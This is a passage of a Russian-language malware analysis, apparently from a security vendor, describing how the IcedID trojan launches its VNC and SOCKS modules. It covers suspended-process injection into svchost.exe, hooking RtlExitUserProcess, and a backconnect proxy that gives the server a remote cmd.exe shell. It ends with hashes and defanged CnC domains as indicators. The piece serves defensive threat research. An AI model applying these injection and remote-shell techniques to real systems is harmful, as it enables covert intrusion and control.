Ход исполнения команды Change IP в BC-модуле
Схема получилось упрощенной, не стал включать 1, 2 и 3 команды. Итак, давайте посмотрим, как происходит запуск VNC- и SOCKS-модулей.
Запуск VNC-модуля
Запуск VNC-модуля осуществляется в контексте нового процесса svchost.exe. Сам модуль находится в теле IcedID в сжатом виде и при помощи функции RtlDecompressBuffer() распаковывается (но не запускается) в контексте трояна. Как и основной модуль IcedID, VNC-модуль состоит из двух частей: shell-код, предназначенный для развертывания трояна в контексте svchost.exe, и сам модуль.
В первую очередь IcedID запускает новый процесс svchost.exe в suspended-режиме без аргументов, после чего записывает туда VNC-модуль и параметры, необходимые для работы модуля: IP-адрес CnC, порт, BotID, Key и т.д. А запуск модуля осуществляется довольно интересным образом: вместо того, чтобы создать новый поток в контексте нового процесса, IcedID ставит хук на стандартную функцию RtlExitUserProcess(). Выглядит это следующим образом:
После этого он запускает работу процесса функцией ResumeThread(). Так как процесс был запущен без аргументов, он очень быстро завершит свою работу и вызовет функцию RtlExitUserProcess(), которая уже не та, что была при запуске приложения, и JMP-инструкция передаст управление на shell-код VNC-модуля, который будет выполнять уже свои грязные дела. Примечательно, что старые версии трояна именно таким образом разворачивали главный модуль IcedID в контексте svchost.exe, но по какой-то причине разработчик загрузчика отказался от этой идеи и сейчас запуск IcedID осуществляется гораздо проще.
Запуск SOCKS-модуля
Как вы уже догадались, данный модуль предназначен для проксирования трафика между двумя удаленными серверами. Фактически SOCKS-модуль является backonnect proxy и выполняет соответствующие функции: устанавливает соединение с удаленным CnC-сервером, запрашивает адрес, порт и параметры, устанавливает соединение и проксирует трафик между CnC и удаленным сервером (может быть легитимным). А теперь чуть подробнее.
После получения команды на запуск модуля приложение отправляет на сервер объект структуры BcMessageStruct, где command — 4, а значения id и key позаимствованы из структуры-запроса. В ответ сервер отсылает данные, состоящие из заголовка, адреса и порта удаленного сервера, с которым необходимо установить соединение. Адрес может быть как доменом, так и IP. Заголовок состоит из 5 байт, вот краткое описание двух наиболее интересных полей:
Смещение | Описание |
---|---|
2 | Тип адреса: домен или IP |
3 | Тип запроса: SOCKS(0) или cmd(1) |
После заголовка следуют данные — адрес и порт. Снова сложно? Тогда и для этого есть схема!
Схема работы SOCKS-модуля
А теперь неожиданный поворот: если управляющий сервер устанавливает соединение и указывает в качестве пары адрес — порт значение 127.0.0.1:39426, а поле «тип запроса» — 1, то приложение запускает… процесс cmd.exe.
Зачем разработчик выполнил запуск cmd.exe в SOCKS-модуле, а не в модуле обработки команд (которых, к слову, целых два), я объяснить не могу. Просто расскажу, как он это делает: при создании cmd.exe IcedID привязывает ввод-вывод нового процесса к двум pipe'ам, после чего создает два потока: один в цикле читает данные с сервера и отсылает в pipe-записи, второй читает из pipe'а чтения и отправляет на сервер. Таким образом удаленный сервер может запускать командный интерпретатор и исполнять в нем команды.
Схема исполнения cmd-команд управляющим сервером
Тут должно быть заключение
Думаю, пора подводить итоги. За полтора года IcedID вырос над собой, научился эффективнее «прятать» данные в файловой системе и сетевом трафике, обзавелся зачатками ВМ-детекта и антиотладочными методами — и это далеко не полный список. Разработчик продолжает активно развивать свой проект, и его упорству могут позавидовать многие большие open source-проекты. Мы продолжаем следить за развитием трояна, улучшать свои продукты и держать вас в курсе интересных обновлений.
IOCs
Loader/Downloader — second stage:
Encrypted main module:
CnC:
- c897c555d395627dedf7e9e91623f54c
- f89d448700de774c0b27762f327bd13f
- ca59e8c577f8476dce210bc51c8daf9a
- c7ebf2e9976f494355fee936749202a3
- 589b2d1eff18b651f8344e6a40f6cecf
- 753a45bfeb6877c2d9d841824d8f59a8
Encrypted main module:
- 6A44BEFDED3DA2245EF3A78E396CE5E0 — described in this article
CnC:
- hXXps://poloturtles[.]top/audio
- hXXps://robertogunez[.]xyz/audio
- hXXps://gotofresno[.]xyz/audio
- hXXps://fordthunderbirth[.]site/audio
- hXXps://luxcarlegend[.]top/audio
- hXXps://nicebirththunder[.]cloud/audio
- hXXps://totheocean[.]pw/audio